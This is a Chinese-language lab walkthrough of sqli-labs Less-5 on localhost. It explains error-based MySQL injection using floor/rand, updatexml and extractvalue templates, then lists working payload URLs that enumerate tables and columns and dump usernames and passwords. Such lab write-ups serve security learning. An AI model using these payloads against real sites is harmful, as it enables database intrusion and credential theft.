#sqli-labs less5
從含義上講,count(1) 與 count() 都表示對全部資料行的查詢。count() 包括了所有的列,相當于行數,在統計結果的時候,不會忽略列值為NULL ;count(1) 用1代表代碼行,在統計結果的時候,不會忽略列值為NULL 。
一般情況下SQL的報錯資訊是不會顯示在頁面中的
隻有在php.ini 進行如下配置
display_errors=On (開啟PHP錯誤回顯)
SQL報錯資訊才會被顯示在頁面上
常用的報錯語句模闆:
-
通過floor報錯
and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)
其中payload為你要插入的SQL語句
需要注意的是該語句将 輸出字元長度限制為64個字元
-
通過updatexml報錯
and updatexml(1,payload,1)
同樣該語句對輸出的字元長度也做了限制,其最長輸出32位
并且該語句對payload的反悔類型也做了限制,隻有在payload傳回的不是xml格式才會生效
-
通過ExtractValue報錯
and extractvalue(1, payload)
輸出字元有長度限制,最長32位。

######################################################################
http://localhost/sqli-labs-master/Less-5/?id=1’
表示可能是一個字元型注入
http://localhost/sqli-labs-master/Less-5/?id=1%27%20order%20by%203–+
也很順利
意外發生了
用 'union select 1,2,3 --+ 該語句 不管更改多少次id傳參值 一直沒有顯示位,可見并不是聯合查詢注入的類型
是以試試報錯型注入
http://localhost/sqli-labs-master/Less-5/?id=1%27%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),database())as%20x%20from%20information_schema.tables%20group%20by%20x)as%20a)–+
成功了
接下來試試表名
‘and(select 1 from (select count(*),concat((select concat(table_name,’;’) from information_schema.tables where table_schema=‘security’ limit 1,1),floor(rand(0)*2))as x from information_schema.tables group by x)as a)–+
‘and (select 1 from (select count(*),concat((select concat(table_name,’;’) from information_schema.tables where table_schema=‘security’ limit 2,1),floor(rand(0)*2)) as x from information_schema.tables group by x) as a) --+
通過修改limit 數字,1 來依次爆出表名
爆列名跟爆表名差不多
http://localhost/sqli-labs-master/Less-5/?id=1’and(select 1 from (select count(*),concat((select concat(column_name,’;’) from information_schema.columns where table_name=‘user’ limit 1,1),floor(rand(0)*2))as x from information_schema.tables group by x)as a)–+
最後開始查詢字段
http://localhost/sqli-labs-master/Less-5/?id=1’and(select 1 from (select count(*),concat((select concat(username,’;’,password,’:’) from security.users limit 2,1),floor(rand(0)*2))as x from security.users group by x)as a)–+
以上是floor()報錯函數類型
我們可以嘗試用一下extractvalue函數
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
用該語句’ and (extractvalue(1,concat(0x7e,0x7e,(select user()),0x7e,0x7e)))–+可以查詢user()
’ and (extractvalue(1,concat(0x7e,0x7e,(select version()),0x7e,0x7e)))–+
’ and (extractvalue(1,concat(0x7e,0x7e,(select concat(table_name) from information_schema.tables where table_schema = ‘security’ limit 0,1),0x7e,0x7e)))–+
同理,通過更改limit n,1 中的n 來依次猜解表名
’ and (extractvalue(1,concat(0x7e,0x7e,(select concat(column_name) from information_schema.columns where table_name = ‘users’ limit 0,1),0x7e,0x7e)))–+
最後再通過
’ and (extractvalue(1,concat(0x7e,0x7e,(select concat(column_name) from information_schema.columns where table_name = ‘users’ limit 0,1),0x7e,0x7e)))–+
解決賬号和密碼問題